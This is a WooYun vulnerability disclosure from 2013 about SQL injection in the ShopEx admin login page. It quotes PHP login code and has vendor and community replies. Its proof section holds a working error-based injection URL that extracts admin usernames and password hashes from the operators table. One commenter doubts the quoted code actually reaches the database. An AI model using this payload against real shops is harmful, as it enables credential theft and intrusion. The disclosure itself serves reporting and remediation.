当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(15) 关注此漏洞

缺陷编号: WooYun-2013-33500

漏洞标题: Shopex后台登录页面某参数存在注入

相关厂商: ShopEx

漏洞作者: saline

提交时间: 2013-08-05 09:53

公开时间: 2013-11-03 09:53

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-05: 细节已通知厂商并且等待厂商处理中
2013-08-05: 厂商已经确认,细节仅向厂商公开
2013-08-08: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2013-09-29: 细节向核心白帽子及相关领域专家公开
2013-10-09: 细节向普通白帽子公开
2013-10-19: 细节向实习白帽子公开
2013-11-03: 细节向公众公开

简要描述:

对登录时传递的某参数未做过滤,导致注入的产生

详细说明:

最近做二次开发的时候看到了登录的流程

发现在文件\shopex\core\admin\controller\ctl.passport.php

处理了验证码,管理帐号和密码,但是在最底下发现一个sess_id

code 区域
function certi_validate(){
$cert = $this->system->loadModel('service/certificate');
$sess_id = $_POST['session_id'];

$return = array();
if($sess_id == $cert->get_sess()){
$return = array(
'res' => 'succ',
'msg' => '',
'info' => ''
);

echo json_encode($return);
}else{
$return = array(
'res' => 'fail',
'msg' => '000001',
'info' => 'You have the different session!'
);

echo json_encode($return);
}
}



没做处理。直接导致sql注入产生。还在学php,分析错的地方请指正

漏洞证明:

http://**.**.**.**/shopadmin/index.php?ctl=passport&act=login&sess_id=1

1.jpg





http://**.**.**.**/shopadmin/index.php?ctl=passport&act=login&sess_id=1'+and(select+1+from(select+count(*),concat((select+(select+(select+concat(userpass,0x7e,username,0x7e,op_id)+from+sdb_operators+Order+by+username+limit+0,1)+)+from+`information_schema`.tables+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+'1'='1

顺带路径一起爆出来了

2.jpg



修复方案:

这个你们比我在行的说。

版权声明:转载请注明来源 saline@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2013-08-05 14:00

厂商回复:

新版本中该问题已经修复
存在问题的请尽快升级至最新版本,安装补丁包
非常感谢您为shopex信息安全做的贡献

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-08-05 10:16 | VIP ( 普通白帽子 | Rank:774 漏洞数:100 )
    0

    mark

  2. 2013-08-05 10:27 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)
    0

    大媳妇我来看你了

  3. 2013-08-05 10:30 | VIP ( 普通白帽子 | Rank:774 漏洞数:100 )
    0

    简要描述好详细,我也成功了。

  4. 2013-08-05 11:44 | Rookie ( 普通白帽子 | Rank:288 漏洞数:78 | 123)
    0

    @VIP 你又调皮了

  5. 2013-08-05 11:58 | kimdle ( 路人 | Rank:0 漏洞数:1 | @kimdle)
    0

    @谁呢 已确认

  6. 2013-08-05 13:59 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2299 漏洞数:351 | 呵呵!)
    0

    应该是在cookie里面吧

  7. 2013-09-14 14:54 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)
    0

    1RANK,厂商是怎么想的。就算修复了也不该这么玩

  8. 2013-09-14 16:33 | saline ( 普通白帽子 | Rank:294 漏洞数:37 | Focus On Web Secur1ty)
    0

    @园长 大媳妇@园长 以后搞到shopex的了直接放出去~嘿嘿~

  9. 2014-01-23 17:27 | luwikes ( 普通白帽子 | Rank:548 漏洞数:82 | 潜心学习~~~)
    0

    $sess_id = $_POST['session_id'];只看到了这儿出现了参数传递,没看到与数据库交互,LZ怎么看出来的啊? 求教

登录后才能发表评论,请先 登录